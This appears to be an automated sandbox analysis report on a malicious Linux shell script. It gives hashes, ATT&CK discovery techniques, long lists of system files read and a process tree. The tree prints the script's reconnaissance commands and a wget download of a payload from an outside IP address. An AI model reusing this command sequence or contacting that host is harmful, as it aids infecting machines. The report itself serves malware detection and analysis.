b33b415cbee7d64d4cbedda4c61d97437393b6095d53f597b5ee247b16591b6f

Analysis

max time kernel
134s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09/06/2024, 01:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b33b415cbee7d64d4cbedda4c61d97437393b6095d53f597b5ee247b16591b6f.sh
Size 1KB
Sample240609-b5q2yscd62
SHA256 b33b415cbee7d64d4cbedda4c61d97437393b6095d53f597b5ee247b16591b6f
MD5 c4b1551a1af860f3283d994b3c495fe9
SHA1 31ef7c07d5e2789830c7061f286ecb04bc771721
SHA512 45d9050d480e386e32cdabed6e3368422dc84c54ff1fe28b72292270302669512a8d898c32dc5534ac95c8adeb2d70e093997941fb08a0f8224e60a1b60d5793
MD5 SHA1 SHA512

Score

6^/10

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads hardware information 1 TTPs 1 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/power	find

Reads network interface configuration 2 TTPs 12 IoCs

Fetches information about one or more active network interfaces.

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/power	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find

Reads CPU attributes 1 TTPs 20 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1	find
File opened for reading	/sys/devices/system/cpu/cpuidle	find
File opened for reading	/sys/devices/system/cpu/vulnerabilities	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/power	find
File opened for reading	/sys/devices/system/cpu/smt	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/tty/tty17	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/systemd-journald.service	find
File opened for reading	/sys/kernel/slab/:0002128	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fallocate	find
File opened for reading	/sys/devices/system/container/power	find
File opened for reading	/sys/devices/virtual/block/loop4/integrity	find
File opened for reading	/sys/bus/pci-epf/devices	find
File opened for reading	/sys/kernel/debug/tracing/events/oom/finish_task_reaping	find
File opened for reading	/sys/kernel/debug/tracing/events/xdp/xdp_redirect_map_err	find
File opened for reading	/sys/devices/virtual/tty/tty26/power	find
File opened for reading	/sys/bus/i2c/drivers/sec_pmic	find
File opened for reading	/sys/kernel/debug/tracing/events/irq_vectors/deferred_error_apic_exit	find
File opened for reading	/sys/kernel/debug/tracing/events/irq_vectors/vector_alloc	find
File opened for reading	/sys/kernel/debug/tracing/events/msr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getrlimit	find
File opened for reading	/sys/devices/system/edac/mc/power	find
File opened for reading	/sys/firmware/qemu_fw_cfg/by_name/etc/smbios	find
File opened for reading	/sys/kernel/slab/kmem_cache_node	find
File opened for reading	/sys/kernel/debug/tracing/events/bridge/fdb_delete	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_readlinkat	find
File opened for reading	/sys/devices/pci0000:00/0000:00:01.3/i2c-0/i2c-dev/i2c-0	find
File opened for reading	/sys/module/sg/parameters	find
File opened for reading	/sys/kernel/slab/:0000024/cgroup	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/break_lease_unblock	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fchdir	find
File opened for reading	/sys/kernel/slab/:d-0000008/cgroup	find
File opened for reading	/sys/bus/pci/slots/13	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_signalfd4	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/system-getty.slice	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata4/host3/target3:0:0/3:0:0:0/block/sr0/queue	find
File opened for reading	/sys/devices/virtual/tty/tty19	find
File opened for reading	/sys/bus/pci_express/drivers	find
File opened for reading	/sys/bus/virtio/drivers/virtio_blk	find
File opened for reading	/sys/kernel/debug/tracing/events/skb/skb_copy_datagram_iovec	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_async_complete_start	find
File opened for reading	/sys/devices/system/machinecheck/machinecheck0	find
File opened for reading	/sys/module/kdb	find
File opened for reading	/sys/devices/platform/floppy.0/block/fd0/queue/iosched	find
File opened for reading	/sys/module/ghash_clmulni_intel/sections	find
File opened for reading	/sys/devices/virtual/tty/tty40	find
File opened for reading	/sys/bus/platform/drivers/clk-pmc-atom	find
File opened for reading	/sys/kernel/debug/pinctrl	find
File opened for reading	/sys/devices/virtual/mem/kmsg/power	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sched_setattr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_lsetxattr	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/udisks2.service	find
File opened for reading	/sys/module/nf_tables_ipv6/holders	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_async_io_complete	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/generic_delete_lease	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sync_file_range	find
File opened for reading	/sys/module/virtio_gpu/sections	find
File opened for reading	/sys/module/virtio_blk/sections	find
File opened for reading	/sys/kernel/debug/tracing/events/smbus/smbus_reply	find
File opened for reading	/sys/kernel/debug/tracing/events/scsi/scsi_dispatch_cmd_error	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata3/link3/dev3.0/ata_device/dev3.0	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/sys-kernel-config.mount	find
File opened for reading	/sys/kernel/debug/tracing/events/power/clock_enable	find
File opened for reading	/sys/kernel/debug/acpi	find
File opened for reading	/sys/devices/platform/reg-dummy/regulator/regulator.0	find
File opened for reading	/sys/devices/virtual/tty/tty13/power	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:15	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/dev-mqueue.mount	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/proc-sys-fs-binfmt_misc.mount	find
File opened for reading	/sys/kernel/debug/tracing/events/writeback/writeback_lazytime_iput	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/5/task/5/net/dev_snmp6	find
File opened for reading	/proc/20/task/20/ns	find
File opened for reading	/proc/137	find
File opened for reading	/proc/1204/task/1207/net/stat	find
File opened for reading	/proc/1329/task/1361/net/stat	find
File opened for reading	/proc/172/task/172/attr/selinux	find
File opened for reading	/proc/172/attr	find
File opened for reading	/proc/454/task/454/net/dev_snmp6	find
File opened for reading	/proc/1302/task/1326/fdinfo	find
File opened for reading	/proc/626/task/626/fd	find
File opened for reading	/proc/1399/task/1407/ns	find
File opened for reading	/proc/532/task/551/fdinfo	find
File opened for reading	/proc/1204	find
File opened for reading	/proc/171/net/stat	find
File opened for reading	/proc/1329/map_files	find
File opened for reading	/proc/1360/task/1365/net/stat	find
File opened for reading	/proc/sys/user	find
File opened for reading	/proc/89/fdinfo	find
File opened for reading	/proc/268/attr/selinux	find
File opened for reading	/proc/8/task/8/attr/apparmor	find
File opened for reading	/proc/979/task/979/attr/smack	find
File opened for reading	/proc/1056/task/1071/net/netfilter	find
File opened for reading	/proc/1158/task/1159/attr/selinux	find
File opened for reading	/proc/184/fdinfo	find
File opened for reading	/proc/322/task/323/ns	find
File opened for reading	/proc/695/task/741/fd	find
File opened for reading	/proc/17/fdinfo	find
File opened for reading	/proc/28/net/dev_snmp6	find
File opened for reading	/proc/183/task/183/attr/apparmor	find
File opened for reading	/proc/1056/task/1061/net/stat	find
File opened for reading	/proc/1100/task/1100/fdinfo	find
File opened for reading	/proc/1212/task/1244/net/dev_snmp6	find
File opened for reading	/proc/1277/task/1279/attr/smack	find
File opened for reading	/proc/11/task/11/net	find
File opened for reading	/proc/176/task/176/attr/smack	find
File opened for reading	/proc/17/task/17/net/dev_snmp6	find
File opened for reading	/proc/1149/task/1150/attr/apparmor	find
File opened for reading	/proc/1180/task/1180/net/dev_snmp6	find
File opened for reading	/proc/28/task/28/attr/apparmor	find
File opened for reading	/proc/169/task/169/fd	find
File opened for reading	/proc/176/task/176/net	find
File opened for reading	/proc/586/task/587/attr/smack	find
File opened for reading	/proc/1093/task/1096/fdinfo	find
File opened for reading	/proc/1399/task/1407/net	find
File opened for reading	/proc/11/task/11/fd	find
File opened for reading	/proc/26/net/netfilter	find
File opened for reading	/proc/658/task/682/attr/selinux	find
File opened for reading	/proc/1329/task/1329/fdinfo	find
File opened for reading	/proc/1360/task/1363/net	find
File opened for reading	/proc/1212/task/1212/net/dev_snmp6	find
File opened for reading	/proc/171/fd	find
File opened for reading	/proc/1149/task/1149/attr/smack	find
File opened for reading	/proc/1205/task/1205/fdinfo	find
File opened for reading	/proc/1277/task/1282/net/netfilter	find
File opened for reading	/proc/1137/task/1139/attr/smack	find
File opened for reading	/proc/1360/task/1362/net/dev_snmp6	find
File opened for reading	/proc/6/attr/selinux	find
File opened for reading	/proc/485/attr/apparmor	find
File opened for reading	/proc/979/task/979/net	find
File opened for reading	/proc/1199/task/1206/net/stat	find
File opened for reading	/proc/1341/task/1347/net/dev_snmp6	find
File opened for reading	/proc/1399/task/1409/net/stat	find
File opened for reading	/proc/975/task/975/net	find
File opened for reading	/proc/1133/task/1133/net/stat	find

/tmp/b33b415cbee7d64d4cbedda4c61d97437393b6095d53f597b5ee247b16591b6f.sh
/tmp/b33b415cbee7d64d4cbedda4c61d97437393b6095d53f597b5ee247b16591b6f.sh
1⤵
PID:1525
- /usr/bin/whoami
  whoami
  2⤵
  PID:1528
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/proc/*" -not -path "/sys/*" -not -path "/tmp/*"
  2⤵
  - Reads hardware information
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1529
- /bin/uname
  uname -mp
  2⤵
  PID:1534
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:1535
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:1537
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:1538
- /bin/grep
  grep -qw noexec
  2⤵
  PID:1540
- /bin/findmnt
  findmnt -no OPTIONS /
  2⤵
  PID:1539
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:1541
- /bin/grep
  grep -q x86_64
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://194.59.31.109/aZr.png
  2⤵
  PID:1544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads